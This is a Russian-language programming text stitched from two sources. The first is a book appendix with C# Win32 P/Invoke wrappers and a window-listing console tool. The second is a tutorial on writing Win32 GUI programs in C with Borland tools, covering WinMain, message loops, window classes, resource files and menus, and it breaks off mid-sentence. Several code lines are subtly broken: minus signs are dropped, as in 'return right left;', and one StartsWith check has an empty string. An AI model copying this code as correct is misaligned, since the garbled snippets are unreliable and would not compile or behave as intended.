- Панель задач, кнопка Пуск и часы в области уведомлений — Очень часто программисты хотят получить доступ к стандартным элементам интерфейса Рабочего стола Windows. Например, разработчики хотят получить координаты панели задач, программно нажать на кнопку Пуск, спрятать и показать эту кнопку Пуск и многое другое.
- Смена обоев Рабочего стола — Если вы хотите периодически менять картинку на своем Рабочем столе, то можете это сделать программным способом прямо из своего приложения. Для смены обоев Рабочего стола вызывается одна функция Windows API SystemParametersInfo.
Заключение
Несмотря на огромное число имеющихся классов .NET Framework, программисту по-прежнему приходится прибегать к вызовам системных функций Windows API. В папке Win32Help на прилагаемом к книге компакт-диске вы найдете демо-версию справочника по функциям Windows API для .NET Framework. Если вам понравится этот справочник, то вы можете приобрести его полную версию на моем сайте.
Приложение
Win32API.cs
// Win32API: оболочка для избранных функций Win32 API
// Для компиляции наберите команду:
// csc /t:library /out:Win32API.dll Win32API.cs
using System;
using System.Drawing;
using System.Text;
using System.Runtime.InteropServices;
// Пространство имен для ваших Win32функций.
// Добавляйте их сюда по мере необходимости...
//
namespace Win32API
{
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
public POINT(int xx, int yy) { x=xx; y=yy; }
public int x;
public int y;
public override string ToString()
{
String s = String.Format("({0},{1})", x, y);
return s;
}
}
[StructLayout(LayoutKind.Sequential)]
public struct SIZE
{
public SIZE(int cxx, int cyy) { cx=cxx; cy=cyy; }
public int cx;
public int cy;
public override string ToString()
{
String s = String.Format("({0},{1})", cx, cy);
return s;
}
}
[StructLayout(LayoutKind.Sequential)]
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
public int Width() { return right left; }
public int Height() { return bottom top; }
public POINT TopLeft() { return new POINT(left, top); }
public SIZE Size() { return new SIZE(Width(), Height()); }
public override string ToString()
{
String s = String.Format("{0}x{1}", TopLeft(), Size());
return s;
}
}
public class Win32
{
[DllImport("user32.dll")]
public static extern bool IsWindowVisible(int hwnd);
[DllImport("user32.dll")]
public static extern int GetWindowText(int hwnd,
StringBuilder buf, int nMaxCount);
[DllImport("user32.dll")]
public static extern int GetClassName(int hwnd,
[MarshalAs(UnmanagedType.LPStr)] StringBuilder buf,
int nMaxCount);
[DllImport("user32.dll")]
public static extern int GetWindowRect(int hwnd, ref RECT rc);
[DllImport("user32.dll")]
// Заметьте, что исполняющая среда знает,
// как выполнить маршалинг Rectangle
public static extern int GetWindowRect(int hwnd, ref Rectangle rc);
// ...продолжайте добавлять нужные функции
}
}
ListWin.cs
using System;
using System.Text;
using System.Drawing;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Win32API; // самодельная оболочка для Win32 API
using WinArray; // самодельный перечислитель окон
class MyApp
{
// Глобальные ключи командной строки
static bool bRectangle = false; // показывает прямоугольник окна,
// используя Rectangle
static bool bRect = false; // показывает прямоугольник окна,
// используя RECT
static bool bClassName = false; // показывает имя класса
static bool bTitle = false; // показывает заголовок
static bool bHwnd = false; // показывает HWND
[STAThread]
// Main — главная точка входа
static int Main(string[] args) {
// Разбираем командную строку.
// Ключи могут быть указаны в любом порядке.
if (args.GetLength(0)<=0)
return help();
for (int i=0, len=args.GetLength(0); i<len; i++)
{
if (args[i].StartsWith("/") || args[i].StartsWith("") )
{
for (int j=1; j<args[i].Length; j++)
{
switch (args[i][j])
{
case 'c': bClassName = true; break;
case 'h': bHwnd = true; break;
case 'r': bRect = true; break;
case 'R': bRectangle = true; break;
case 't': bTitle = true; break;
case '?': default: return help();
}
}
}
}
WindowArray itw = new WindowArray();
foreach (int hwnd in itw)
{
if (Win32.IsWindowVisible(hwnd))
{
if (bHwnd)
{
Console.Write("{0:x8}", hwnd);
}
if (bClassName)
{
StringBuilder cname = new StringBuilder(256);
Win32.GetClassName(hwnd, cname, cname.Capacity);
Console.Write(" {0}",cname);
}
if (bRectangle)
{
Rectangle rc = new Rectangle();
Win32.GetWindowRect(hwnd, ref rc);
Console.Write(" {0}",rc);
}
else if (bRect)
{
RECT rc = new RECT();
Win32.GetWindowRect(hwnd, ref rc);
Console.Write(" {0}",rc);
}
if (bTitle)
{
StringBuilder title = new StringBuilder(256);
Win32.GetWindowText(hwnd, title, title.Capacity);
Console.Write(" {0}",title);
}
Console.WriteLine();
}
}
return 0;
}
static int help()
{
Console.WriteLine("ListWin: List toplevel windows.");
Console.WriteLine(" Copyright 2002 Paul DiLascia.");
Console.WriteLine("Format: ListWin [/chrRt]");
Console.WriteLine("Options:");
Console.WriteLine(" /c(lassname) show window class name");
Console.WriteLine(" /h(wnd) show HWNDs");
Console.WriteLine(" /t(itle) show title (caption)");
Console.WriteLine(" /r(ect) show window rect using RECT");
Console.WriteLine(" /R(ectangle) show window rect using Rectangle");
Console.WriteLine("");
return 0;
}
}
Дополнительная информация
Реклама
Программа на Си для Windows, как и для любой другой платформы, должна
обязательно содержать некоторую «стартовую» функцию, которой передается
управление при запуске программы. Вообще говоря, имя такой «стартовой»
функции может различаться в различных компиляторах, но исторически
сложилось так (а, кроме того, имеются еще и стандарты ANSI и ISO,
к которым, правда, производители коммерческих компиляторов типа Microsoft
и Borland/Inprise относятся без особого трепета), что такой функцией является:
int main()
У этой функции может быть до трех параметров:
int main(int argc, char *argv[], char *env[])
- argc — количество параметров в командной строке (включая имя программы),
- argv — массив строк-параметров (argv[0] — имя программы),
- env — массив строк-переменных окружения.
Многие компиляторы для Windows «понимают» такую стартовую функцию.
Однако при этом они создают хотя и 32-битное, но консольное приложение.
Пример 1 (example1.cpp):
#include <stdio.h> int main() { printf("Hello, world!"); getc(stdin); return 0; }
Компилируем:
bcc32 example1.cpp
Запускаем:
При использовании стандартных библиотек (stdio, stdlib и т. п.)
вам не потребуется никаких лишних телодвижений по сравнению с обычными
методами написания программ на Си. Если же ваша цель — 32-битное приложение
с графическим интерфейсом, то черное консольное окошко будет вас раздражать.
Пример (example2.cpp):
#include <windows.h> int main() { MessageBox(NULL,"Hello, World!","Test",MB_OK); return 0; }
В общем, чтобы получить нормальное приложение без каких-либо «довесков»
типа консольного окошка, используется другая стартовая функция:
int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hpi, LPSTR cmdline, int ss)
- hInst — дескриптор для данного экземпляра программы,
- hpi — в Win32 не используется (всегда NULL),
- cmdline — командная строка,
- ss — код состояния главного окна.
Пример (example3.cpp):
#include <windows.h> int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int) { MessageBox(NULL,"Hello, World!","Test",MB_OK); return 0; }
Кроме того, компилятору и компоновщику нужно сообщить о том, что
вы делаете графическое приложение. Для bcc32 это опция -tW:
bcc32 -tW example3.cpp
Если же вы соскучитесь по черному консольному окошку, его можно
в любой момент создать при помощи вызова Win32 API
BOOL AllocConsole(void)
Как известно, в Си есть лишь три базовых типа
(char, int, float/double)
и еще несколько их вариаций с модификаторами signed/unsigned, short/long.
Однако фирме Microsoft зачем-то понадобилось описывать функции Win32 API
с помощью переопределенных типов:
typedef unsigned char BYTE; typedef unsigned short WORD; typedef unsigned int UINT; typedef int INT; typedef long BOOL; #define FALSE 0 #define TRUE 1 typedef long LONG; typedef unsigned long DWORD; typedef void *LPVOID; typedef char CHAR; typedef CHAR *LPSTR; typedef const CHAR *LPCSTR;
Кроме перечисленных простых типов, практически ни один вызов Win32 API
не обходится без «штучек» с «ручками» — переменных типа handle («ручка»),
которые идентифицируют некоторый объект («штучку»). Такие «ручки» принято
называть дескрипторами. Реально такая переменная представляет собой всего
лишь указатель на некоторую системную структуру или
индекс в некоторой системной таблице.
typedef void *HANDLE; /* абстрактный дескриптор (например, файла) */ typedef void *HMODULE; /* дескриптор модуля */ typedef void *HINSTANCE; /* дескриптор экземпляра программы */ typedef void *HKEY; /* дескриптор ключа в реестре */ typedef void *HGDIOBJ; /* дескриптор графического примитива (перо, шрифт, кисть, палитра,...) */ typedef void *HWND; /* дескриптор окна */ typedef void *HMENU; /* дескриптор меню */ typedef void *HICON; /* дескриптор иконки */ typedef void *HBITMAP; /* дескриптор картинки */ typedef void *HFONT; /* дескриптор шрифта */
При заполнении различных структур часто требуется указать такую «ручку»
от какой-нибудь «штучки». Очень часто вместо конкретного дескриптора допустимо
передавать значение NULL, означающее, что вы еще не обзавелись
такой «штучкой» или собираетесь использовать «штучку» по умолчанию.
В стандартных версиях Си для функций используются два варианта соглашения
о передаче параметров: соглашение языка Си (параметры функции помещаются в стек в порядке
обратном их описанию, очистку стека производит вызывающая процедура) и
соглашение языка Паскаль (параметры функции помещаются в стек в (прямом) порядке их
описания, очистку стека производит вызываемая процедура). Для этих соглашений
использовались, соответственно, модификаторы cdecl и pascal.
При описании функций Win32 API используется модификатор WINAPI, а для
описания пользовательских функций обратного вызова — модификатор CALLBACK.
Оба этих модификатора являются переопределением специального модификатора _stdcall,
соответствующего соглашению о передаче параметров, использующегося исключительно
в Win32 API, — Standard Calling Convention (параметры функции помещаются в стек
в порядке обратном их описанию, очистку стека производит вызываемая процедура).
Окно — это прямоугольная область экрана, в котором приложение отображает информацию и
получает реакцию от пользователя. Одновременно на экране может отображаться несколько
окон, в том числе, окон других приложений, однако лишь одно из них может получать
реакцию от пользователя — активное окно. Пользователь использует клавиатуру, мышь
и прочие устройства ввода для взаимодействия с приложением, которому принадлежит активное окно.
Каждое 32-битное приложение создает, по крайней мере, одно окно, называемое главным окном,
которое обеспечивает пользователя основным интерфейсом взаимодействия с приложением.
Окно приложения может содержать строку заголовка title bar (1),
строку меню menu bar (2), системное меню system menu (3),
кнопку сворачивания окна minimize box (4), кнопку разворачивания окна maximize box (5),
рамку изменения размеров sizing border (6), клиентскую область client area (7),
горизонтальную и вертикальную полосы прокрутки scroll bars (8):
Меню, строка заголовка с системными кнопками, системное меню, рамка изменения размеров
и полосы прокрутки относятся к области окна, называемой неклиентской областью (non-client area).
С неклиентской областью Windows справляется сама, а вот за содержимое и обслуживание
клиентской области отвечает приложение.
Кроме главного окна, приложение может использовать еще и другие типы окон:
управляющие элементы (controls), диалоговые окна (dialog boxes),
окна-сообщения (message boxes). Управляющий элемент — окно, непосредственно
обеспечивающее тот или иной способ ввода информации пользователем. К управляющим
элементам относятся: кнопки, поля ввода, списки, полосы прокрутки и т.п.
Управляющие элементы обычно не болтаются сами по себе, а проживают в каком-либо
диалоговом окне.
Диалоговое окно — это временное окно, напичканное управляющими элементами,
обычно использующееся для получения дополнительной информации от пользователя.
Диалоговые окна бывают модальные (modal) и немодальные (modeless).
Модальное диалоговое окно требует, чтобы пользователь обязательно ввел обозначенную
в окне информацию и закрыл окно прежде, чем приложение продолжит работу.
Немодальное диалоговое окно позволяет пользователю, не закрывая диалогового окна,
переключаться на другие окна этого приложения.
Окно-сообщение — это диалоговое окно предопределенного системой формата,
предназначенное для вывода небольшого текстового сообщения с одной или несколькими
кнопками. Пример такого окна показан в Примере 3.
В отличие от традиционного программирования на основе линейных алгоритмов,
программы для Windows строятся по принципам событийно-управляемого программирования
(event-driven programming) — стиля программирования, при котором поведение
компонента системы определяется набором возможных внешних событий и ответных реакций
компонента на них. Такими компонентами в Windows являются окна. С каждым окном
в Windows связана определенная функция обработки событий. События для окон
называются сообщениями. Сообщение относится к тому или иному типу,
идентифицируемому определенным кодом (32-битным целым числом), и сопровождается
парой 32-битных параметров (WPARAM и LPARAM),
интерпретация которых зависит от типа сообщения. В заголовочном файле windows.h
для кодов сообщений определены константы с интуитивно понятными именами:
#define WM_CREATE 0x0001 /* сообщение о создании окна */ #define WM_DESTROY 0x0002 /* сообщение об уничтожении окна */ #define WM_SIZE 0x0005 /* сообщение об изменении размеров окна */ #define WM_COMMAND 0x0111 /* сообщение от команды меню или управляющего элемента */
Таким образом, задача любого приложения — создать главное окно и сообщить
Windows функцию обработки событий для этого окна. Все самое интересное
для приложения будет происходить именно в функции обработки событий главного окна.
Для стандартных управляющих элементов (библиотека Common Controls Library — COMCTL32.DLL)
в Windows имеются предопределенные обработчики событий, которые при наступлении
интересных событий сообщают всяческую полезную информацию окну, содержащему этот
управляющий элемент. Стандартная библиотека Common Dialog Box Library
(COMDLG32.DLL) содержит несколько готовых весьма полезных диалоговых окон с
обработчиками: диалоги выбора файла, настроек печати, выбора шрифта, выбора цвета и др.
Кроме того, любая среда разработки (VisualBasic, Delphi, VisualC++ и т.п.) навязывает
разработчику дополнительный набор готовых управляющих элементов и диалогов —
иногда достаточно удобных, иногда не очень.
Программа для Win32 обычно состоит из следующих блоков:
#include <windows.h> int WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR cmdline,int ss) {/* Блок инициализации: создание класса главного окна, создание главного окна, загрузка ресурсов и т.п. */
/* Цикл обработки событий: */ MSG msg; while (GetMessage(&msg,(HWND)NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); }
return msg.wParam; } LRESULT CALLBACK MainWinProc(HWND hw,UINT msg,WPARAM wp,LPARAM lp) {/* Обработка сообщений главного окна */ switch (msg) { case WM_CREATE: /* ... */ return 0; case WM_COMMAND: /* ... */ return 0; case WM_DESTROY: /* ... */ PostQuitMessage(0); return 0; /* ... */ }
return DefWindowProc(hw,msg,wp,lp); }
Каждое окно принадлежит определенному классу окон. Окна одного класса
имеют схожий вид, обслуживаются общей процедурой обработки событий,
имеют одинаковые иконки и меню. Обычно каждое приложение создает
для главного окна программы свой класс. Если приложению требуются
дополнительные нестандартные окна, оно регистрирует другие классы.
Стандартные диалоги и управляющие элементы принадлежат к предопределенным классам окон,
для них не надо регистрировать новые классы. Чтобы определить новый класс окон,
надо заполнить структуру WNDCLASS, содержащую следующие поля:
- UINT style — стиль (поведение) класса окон,
- WNDPROC lpfnWndProc — процедура обработки событий окна,
- int cbClsExtra — размер дополнительной памяти в системной структуре класса для данных пользователя,
- int cbWndExtra — размер дополнительной памяти в системной структуре окна для данных пользователя,
- HINSTANCE hInstance — дескриптор модуля (экземпляра программы), в котором реализована процедура обработки,
- HICON hIcon — дескриптор иконки окна,
- HCURSOR hCursor — дескриптор курсора мыши для окна,
- HBRUSH hbrBackground — дескриптор «кисточки» для закрашивания фона окна,
- LPCSTR lpszMenuName — имя ресурса, содержащего меню окна,
- LPCSTR lpszClassName — имя класса.
Класс регистрируется при помощи функции:
WORD WINAPI RegisterClass(const WNDCLASS *lpwc)
При успешном завершении функция возвращает целочисленный код,
соответствующий строке-имени класса в общесистемной таблице строк
(такой код называется атомом). При ошибке возвращается 0.
Для создания окна вызывается функция:
HWND WINAPI CreateWindow( LPCSTR lpClassName, /* имя класса */ LPCSTR lpWindowName, /* имя окна (заголовок) */ DWORD dwStyle, /* стиль (поведение) окна */ int x, /* горизонтальная позиция окна на экране */ int y, /* вертикальная позиция окна на экране */ int nWidth, /* ширина окна */ int nHeight, /* высота окна */ HWND hWndParent, /* дескриптор родительского окна */ HMENU hMenu, /* дескриптор меню */ HANDLE hInstance, /* дескриптор экземпляра программы */ LPVOID lpParam /* указатель на какую-нибудь ерунду */ )
Вместо параметров x, y, nWindth, nHeight допустимо передавать
константу CW_USEDEFAULT, позволяющую операционной системе задать эти числа
по ее усмотрению.
Интерпретация кода стиля определяется классом окна.
Стиль определяет не только оформление окна, но и его поведение.
Общие для всех классов константы стилей
(при необходимости объединяются операцией побитовое ИЛИ):
- WS_DISABLED — при создании окно заблокировано (не может получать реакцию от пользователя);
- WS_VISIBLE — при создании окно сразу же отображается (не надо вызывать ShowWindow);
- WS_CAPTION — у окна есть строка заголовка;
- WS_SYSMENU — у окна есть системное меню;
- WS_MAXIMIZEBOX — у окна есть кнопка разворачивания;
- WS_MINIMIZEBOX — у окна есть кнопка сворачивания;
- WS_SIZEBOX или WS_THICKFRAME — у окна есть рамка изменения размеров;
- WS_BORDER — у окна есть рамка (не подразумевает изменение размеров);
- WS_HSCROLL или WS_VSCROLL — у окна есть горизонтальная или вертикальная прокрутка;
- WS_OVERLAPPED или WS_TILED — «перекрываемое» окно — обычное окно с рамкой и строкой заголовка;
- WS_POPUP — «всплывающее» окно;
- WS_OVERLAPPEDWINDOW — «перекрываемое» окно с системным меню, кнопками сворачивания/разворачивания,
рамкой изменения размеров, короче, типичный стиль для главного окна приложения.
Во время выполнения функции CreateWindow процедуре обработки событий
окна посылается сообщение WM_CREATE. При успешном выполнении функции
возвращается дескриптор созданного окна, при неудаче — NULL.
После создания окна неплохо бы сделать его видимым (отобразить), если только
оно не создано со стилем WS_VISIBLE:
BOOL WINAPI ShowWindow(HWND hw, int ss)
Второй параметр этой функции — код состояния отображения окна. В качестве этого кода
можно взять значение четвертого параметра, с которым была запущена функция WinMain.
Другие возможные значения этого параметра:
- SW_SHOW — отобразить и активировать окно;
- SW_HIDE — скрыть окно;
- SW_MAXIMIZE — развернуть окно на весь экран;
- SW_RESTORE — активировать окно и отобразить его в размерах по умолчанию;
- SW_MINIMIZE — свернуть окно.
Если перед вызовом этой функции окно было видимым, функция возвращает TRUE,
если же окно было скрыто — FALSE.
Если клиентская область главного окна приложения содержит объекты, прорисовываемые
по сообщению WM_PAINT, имеет смысл прорисовать эти объекты сразу после
отображения главного окна на экране. Функция UpdateWindow непосредственно
вызывает процедуру обработки событий указанного окна с сообщением WM_PAINT
(минуя очередь сообщений приложения):
BOOL WINAPI UpdateWindow(HWND hw)
Windows использует два способа доставки сообщений процедуре обработки событий окна:
- непосредственный вызов процедуры обработки событий (внеочередные или
неоткладываемые сообщения — nonqueued messages); - помещение сообщения в связанный с данным приложением буфер типа FIFO,
называемый очередью сообщений — message queue
(откладываемые сообщения — queued messages).
К внеочередным сообщениям относятся те сообщения, которые непосредственно
влияют на окно, например, сообщение активации окна WM_ACTIVATE и т.п.
Кроме того, вне очереди сообщений обрабатываются сообщения, сгенерированные
различными вызовами Win32 API, такими как SetWindowPos,
UpdateWindow, SendMessage,
SendDlgItemMessage…
К откладываемым сообщениям относятся сообщения, связанные с реакцией пользователя:
нажатие клавиш на клавиатуре, движение мышки и клики. Чтобы извлечь сообщение из
очереди, программа вызывает функцию
BOOL WINAPI GetMessage( MSG *lpmsg, /* сюда попадает сообщение со всякими параметрами */ HWND hw, /* извлекать только сообщения для указанного окна (NULL - все) */ UINT wMsgFilterMin, /* фильтр сообщений (нам не надо - ставим 0) */ UINT wMsgFilterMax /* фильтр сообщений (нам не надо - ставим 0) */ )
Эта функция возвращает FALSE, если получено сообщение WM_QUIT,
и TRUE в противном случае. Очевидно, что условием продолжения
цикла обработки событий является результат этой функции. Если приложение хочет
завершить свою работу, оно посылает само себе сообщение WM_QUIT
при помощи функции
void WINAPI PostQuitMessage(int nExitCode)
Ее параметр — статус выхода приложения. Обычно эта функция вызывается в ответ на
сообщение об уничтожении окна WM_DESTROY.
После извлечения сообщения из очереди следует вызвать функцию
TranslateMessage, переводящую сообщения от нажатых клавиш
в удобоваримый вид, а затем DispatchMessage,
которая определяет предназначенное этому сообщению окно и вызывает
соответствующую процедуру обработки событий.
BOOL WINAPI TranslateMessage(const MSG *lpmsg) LONG WINAPI DispatchMessage(const MSG *lpmsg)
Результат возврата соответствует значению, которое вернула процедура обработки событий
(обычно никому не нужен).
Процедура обработки сообщений окна должна быть объявлена по следующему прототипу:
LRESULT CALLBACK WindowProc(HWND hw,UINT msg,WPARAM wp,LPARAM lp)
Значения параметров: hw — дескриптор окна, которому предназначено сообщение,
msg — код сообщения, wp и lp — 32-битные параметры
сообщения, интерпретация которых зависит от кода сообщения. Зачастую старший/младший
байт или старшее/младшее слово параметров сообщения несут независимый смысл, тогда
удобно использовать определенные в windows.h макросы:
#define LOBYTE(w) ((BYTE) (w)) #define HIBYTE(w) ((BYTE) (((WORD) (w) >> 8) & 0xFF)) #define LOWORD(l) ((WORD) (l)) #define HIWORD(l) ((WORD) (((DWORD) (l) >> 16) & 0xFFFF))
Например, сообщение WM_COMMAND посылается окну в трех случаях:
- пользователь выбрал какую-либо команду меню;
- пользователь нажал «горячую» клавишу (accelerator);
- в дочернем окне произошло определенное событие.
При этом параметры сообщения интерпретируются следующим образом.
Старшее слово параметра WPARAM содержит: 0 в первом случае, 1 во втором случае
и код события в третьем случае. Младшее слово WPARAM содержит
целочисленный идентификатор пункта меню, «горячей» клавиши или дочернего управляющего
элемента. Параметр LPARAM в первых двух случаях содержит NULL,
а в третьем случае — дескриптор окна управляющего элемента.
Процедура обработки событий должна вернуть определенное 32-битное значение,
интерпретация которого также зависит от типа сообщения. В большинстве случаев,
если сообщение успешно обработано, процедура возвращает значение 0.
Процедура обработки событий не должна игнорировать сообщения. Если
процедура не обрабатывает какое-то сообщение, она должна вернуть его системе
для обработки по умолчанию. Для этого вызывается функция:
LRESULT WINAPI DefWindowProc(HWND hw, UINT msg, WPARAM wp, LPARAM lp)
Все описанное в данном параграфе суммируется в примере 4 (example4.cpp):
#include <windows.h> LRESULT CALLBACK MainWinProc(HWND,UINT,WPARAM,LPARAM); #define ID_MYBUTTON 1 /* идентификатор для кнопочки внутри главного окна */ int WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int ss) { /* создаем и регистрируем класс главного окна */ WNDCLASS wc; wc.style=0; wc.lpfnWndProc=MainWinProc; wc.cbClsExtra=wc.cbWndExtra=0; wc.hInstance=hInst; wc.hIcon=NULL; wc.hCursor=NULL; wc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); wc.lpszMenuName=NULL; wc.lpszClassName="Example 4 MainWnd Class"; if (!RegisterClass(&wc)) return FALSE; /* создаем главное окно и отображаем его */ HWND hMainWnd=CreateWindow("Example 4 MainWnd Class","EXAMPLE 4",WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInst,NULL); if (!hMainWnd) return FALSE; ShowWindow(hMainWnd,ss); UpdateWindow(hMainWnd); MSG msg; /* цикл обработки событий */ while (GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; } /* процедура обработки сообщений для главного окна */ LRESULT CALLBACK MainWinProc(HWND hw,UINT msg,WPARAM wp,LPARAM lp) { switch (msg) { case WM_CREATE: /* при создании окна внедряем в него кнопочку */ CreateWindow("button","My button",WS_CHILD|BS_PUSHBUTTON|WS_VISIBLE, 5,5,100,20,hw,(HMENU)ID_MYBUTTON,NULL,NULL); /* стиль WS_CHILD означает, что это дочернее окно и для него вместо дескриптора меню будет передан целочисленный идентификатор, который будет использоваться дочерним окном для оповещения родительского окна через WM_COMMAND */ return 0; case WM_COMMAND: /* нажата наша кнопочка? */ if ((HIWORD(wp)==0) && (LOWORD(wp)==ID_MYBUTTON)) MessageBox(hw,"You pressed my button","MessageBox",MB_OK|MB_ICONWARNING); return 0; case WM_DESTROY: /* пользователь закрыл окно, программа может завершаться */ PostQuitMessage(0); return 0; } return DefWindowProc(hw,msg,wp,lp); }
Приведенный пример создает окно с кнопкой «My button», при нажатии
на которую вылезает окно-сообщение:
Ресурсы — это бинарные данные, добавляемые в исполняемый файл
при компоновке программы. К стандартным ресурсам относятся: иконки,
курсоры, меню, диалоги, растровые изображения (BMP), векторные изображения (EMF),
шрифты, таблицы горячих клавиш, таблицы строк, информация о версии программы или модуля.
В процессе разработки программы ресурсы описывают в отдельном текстовом файле —
файле описания ресурсов (расширение .rc), — а затем при помощи компилятора
ресурсов переводят в бинарный вид и добавляют в исполняемый файл на этапе компоновки
исполняемого файла. Использование ресурсов значительно облегчает работу программиста
по визуализации графических примитивов интерфейса программы.
Файл описания ресурсов состоит из операторов, объединяемых в блоки.
Один оператор занимает одну строку файла. Допускается использовать
комментарии, определяемые так же, как в программе на языке Си.
Файл описания ресурсов перед компиляцией так же обрабатывается препроцессором,
поэтому в нем можно использовать директивы препроцессора (#include,
#define, …) и макроопределения. В сложных «блочных»
описаниях ресурсов вместо ключевых слов BEGIN и END
можно использовать { и }, соответственно.
Иконки, картинки и курсоры мыши можно описать двумя способами
(квадратные скобки не являются частью синтаксиса оператора и означают
необязательный элемент):
nameID RESOURCETYPE [load-option] [mem-option] filename
Здесь nameID — численный или строковой идентификатор;
RESOURCETYPE — ключевое слово, обозначающее тип ресурса:
ICON, BITMAP или
CURSOR;
load-option и mem-option — всякие неинтересные
в данный момент опции, которые можно спокойно пропустить;
filename — имя файла, содержащее соответствующий ресурс.
Примеры:
disk1 BITMAP "disk.bmp" 12 ICON "myicon.ico"
Эти ресурсы можно внедрить в виде шестнадцатеричных кодов
непосредственно в файл ресурсов:
nameID RESOURCETYPE BEGIN hex data END
Пример:
FltBmp BITMAP { '42 4D A2 00 00 00 00 00 00 00 3E 00 00 00 28 00' '00 00 19 00 00 00 19 00 00 00 01 00 01 00 00 00' '00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00' '00 00 00 00 00 00 00 00 00 00 FF FF FF 00 FF FF' 'FF 80 FF FF FF 80 FF FF FF 80 FF FF FF 80 FF FF' 'FF 80 FF FF FF 80 FF FF FF 80 C0 FF 81 80 FE FF' 'BF 80 FE FF BF 80 FE FF BF 80 FE FF BF 80 FE FF' 'BF 80 FE FF BF 80 FE FF BF 80 FE FF BF 80 FE FF' 'BF 80 FE FF BF 80 FE 00 3F 80 FF FF FF 80 FF FF' 'FF 80 FF FF FF 80 FF FF FF 80 FF FF FF 80 FF FF' 'FF 80' }
Следует отметить, что первая иконка в ресурсах
будет использоваться «Проводником» как иконка
исполняемого файла.
Меню описывается следующим образом:
nameID MENU [load-option] [mem-option] BEGIN item-definitions ... END
Здесь item-definitions — один из трех операторов:
MENUITEM text, result [, optionlist] /* обычный пункт меню */ MENUITEM SEPARATOR /* строка-сепаратор */ POPUP text [, optionlist] BEGIN /* подменю */ item-definitions ... END
Параметры операторов имеют следующий смысл:
text — текст пункта меню или подменю
(может содержать комбинации \t — табуляция,
\a — выравнивание по правому краю, & —
следующий символ подчеркивается, обозначает «горячую» клавишу для
указанного пункта меню);
result — целочисленный идентификатор пункта меню,
посылаемый окну-владельцу через сообщение WM_COMMAND
при выборе этого пункта меню;
optionlist — необязательный список опций, разделенных
запятой или пробелом:
- CHECKED — рядом с пунктом меню отображается галочка,
- GRAYED — пункт меню неактивен (не может быть выбран)
и отображается серым цветом и др.
Доступ к ресурсам, скомпонованным с исполняемым файлом, можно получить
при помощи следующих функций:
HICON WINAPI LoadIcon(HINSTANCE hInst, LPCSTR lpIconName) HBITMAP WINAPI LoadBitmap(HINSTANCE hInst, LPCSTR lpBitmapName) HCURSOR WINAPI LoadCursor(HINSTANCE hInst, LPCSTR lpCursorName) HMENU WINAPI LoadMenu(HINSTANCE hInst, LPCSTR lpMenuName)
Первый параметр этих функций — дескриптор экземпляра программы,
второй — идентификатор соответствующего ресурса. Если ресурс идентифицируется
не именем, а числом, то следует использовать макрос, объявленный в windows.h:
#define MAKEINTRESOURCE(i) (LPSTR) ((DWORD) ((WORD) (i)))
Например:
HMENU hMainMenu=LoadMenu(hInst,MAKEINTRESOURCE(10));
Для закрепления полученных сведений, давайте добавим к примеру 4
какую-нибудь иконку и такое меню:
Для этого создаем файл ресурсов (example4a.rc):
Ex4_Icon ICON "myicon.ico" Ex4_Menu MENU { POPUP "&File" { MENUITEM "&Open...\tCtrl-O", 2 MENUITEM "&Save", 3 MENUITEM "Save &As...", 4 MENUITEM SEPARATOR MENUITEM "&Hex view", 5, CHECKED GRAYED MENUITEM "&Exit\tAlt-F4", 6 } POPUP "&Edit" { MENUITEM "&Copy", 7 MENUITEM "&Paste", 8 POPUP "Popup" { MENUITEM "1", 9 MENUITEM "2", 10 MENUITEM "3", 11 } MENUITEM SEPARATOR MENUITEM "Search", 12 } POPUP "&Help" { MENUITEM "&About...\tF1", 13 } }
Для перевода файла описания ресурсов в бинарный вид используется
компилятор ресурсов Borland Resource Compiler:
brcc32 example4a.rc
В результате получается файл example4a.res, который потребуется в процессе
компоновки.
В примере 4 надо изменить строки
wc.hIcon=NULL; wc.lpszMenuName=NULL;
на
wc.hIcon=LoadIcon(hInst,"Ex4_Icon"); wc.lpszMenuName="Ex4_Menu";
Чтобы программа не была такой скучной, изменим обработчик сообщения WM_COMMAND:
case WM_COMMAND: if (HIWORD(wp)==0) { char buf[256]; switch (LOWORD(wp)) { case 6: /* команда меню Exit */ PostQuitMessage(0); default: /* все остальные команды */ wsprintf(buf,"Command code: %d",LOWORD(wp)); MessageBox(hw,buf,"MessageBox",MB_OK|MB_ICONINFORMATION); } } return 0;
В результате при выборе того или иного пункта меню выводится окно-сообщение с кодом команды.
Обратите внимание: среди команд меню не используется код 1,
который отведен кнопке «My button». Это типичная практика назначать
всем дочерним элементам окна и командам меню разные численные идентификаторы,
что облегчает обработку сообщения WM_COMMAND.
Теперь компоновка программы будет более сложной, поэтому bcc32
с этой задачей не справится. В этом примере компилятор будет
использоваться только для компилирования (запускаем с ключом -с):
bcc32 -c -tW example4a.cpp
В результате получаем объектный файл example4a.obj.
Чтобы собрать все части программы вместе, придется запускать
компоновщик вручную (ilink32 или tlink32).
В командной строке компоновщика указываются следующие параметры:
ilink32 [options] objfiles,exefile,mapfile,libfiles,deffile,resfiles
- options — о допустимых опциях можно узнать, запустив компоновщик без параметров.
Нам потребуются:- -aa — тип приложения «графическое для Win32»
(другие варианты: -ap — консольное приложение, -ad — драйвер); - -Tpe — формат выходного файла «.EXE» (другой вариант: -Tpd — «.DLL»);
- -L путь — путь для поиска библиотек и объектных файлов
(обычно: -Lc:\bcc55\lib).
- -aa — тип приложения «графическое для Win32»
- objfiles — список объектных файлов, из которых составляется программа,
разделенных пробелом или знаком «+». Этот список должен начинаться с борландовского
инициализационного объектного файла: c0w32.obj — для графического приложения под
Win32 или c0x32.obj — для консольного приложения. - exefile — имя исполняемого файла, который получится в результате компоновки.
- mapfile — имя файла, который после компиляции будет содержать
карту сегментов вашей программы (оно вам надо? если нет, здесь делаем «пусто»,
